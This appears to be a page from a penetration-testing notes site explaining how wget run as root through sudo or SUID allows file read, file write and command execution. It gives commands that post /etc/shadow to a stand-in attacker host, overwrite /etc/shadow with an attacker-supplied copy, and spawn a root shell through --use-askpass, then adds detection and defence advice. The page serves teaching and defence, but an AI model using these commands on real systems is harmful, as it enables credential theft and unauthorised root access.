the_open_door
coffee
ESEN
← Back to index

Privileged wget (read, write and execute)

Full command arsenal in the cheatsheet

wget gets granted freely because it looks harmless: its job is to fetch files and it is not an interpreter, so it has no !/bin/sh style shell escape. But run as root, through a sudo rule or through the SUID bit, it is not a download tool: it is three primitives, one per option.

Read any file: --post-file#

--post-file=<path> sends the contents of a local file in the body of an HTTP request. With root behind it, that is arbitrary read with exfiltration included, and a plain nc collects it:


nc -lvnp 80

sudo /usr/bin/wget --post-file=/etc/shadow <attacker_ip>

What reaches the listener is the whole file inside the request. This is the route taken on sunday, where the real /etc/shadow turned out to carry a root hash different from the one in the backup copy already found elsewhere.

Write any file: -O#

-O <path> decides where the download is saved, and as root it can save anywhere. The consequence is that you do not have to crack root's hash: it is quicker to replace it. You prepare an /etc/shadow with a password of your own and put it back:


openssl passwd -6 -salt 'salt' 'password'

sudo /usr/bin/wget <attacker_ip>/shadow -O /etc/shadow
su root

The same move works for /etc/passwd, for /etc/sudoers or for root's authorized_keys (writable /etc/passwd).

Execute a program: --use-askpass#

--use-askpass=<program> tells wget what to run in order to ask for a password. We choose the program, and with the SUID bit it inherits root's effective UID. This is the vector on xposedapi:


echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' > /tmp/privesc
chmod +x /tmp/privesc
wget localhost --use-askpass=/tmp/privesc

The shell's -p is the fine detail: without it the shell drops the elevated euid on startup.

Requirements#

wget runnable as root: a sudo rule ((root) NOPASSWD: /usr/bin/wget) or the SUID bit set on the binary, which it does not carry by default and which is why it stands out in a SUID binary sweep. --post-file also needs a listener of ours to send the content to; -O needs nothing else.

How to detect it. All three options are anomalous in legitimate use of a download manager and they appear in full on the command line, which is what sudo writes to /var/log/auth.log and what auditd records on the execve: a --post-file pointing at /etc/ or at an .ssh/, an -O whose destination is outside a download directory, a --use-askpass in any non-interactive context. On the network, an outbound POST from a server that should only ever download is the same signal seen from the other side. And on the host, the mtime of /etc/shadow or /etc/passwd changing with no passwd or useradd to justify it closes the chain.

Defence. Do not grant wget or curl through sudo, and never with the SUID bit: if a task needs privileged downloads, it belongs in a wrapper that fixes the URL and the destination and accepts no user options. Watch the integrity of /etc/shadow, /etc/passwd and /etc/sudoers with AIDE or similar, because the write path leaves what the read path does not. And review sudoers against GTFOBins, which classifies each binary by File read, File write, Shell and SUID: wget falls in three of the four columns (sudo escape with a legitimate binary).

Machines where it's used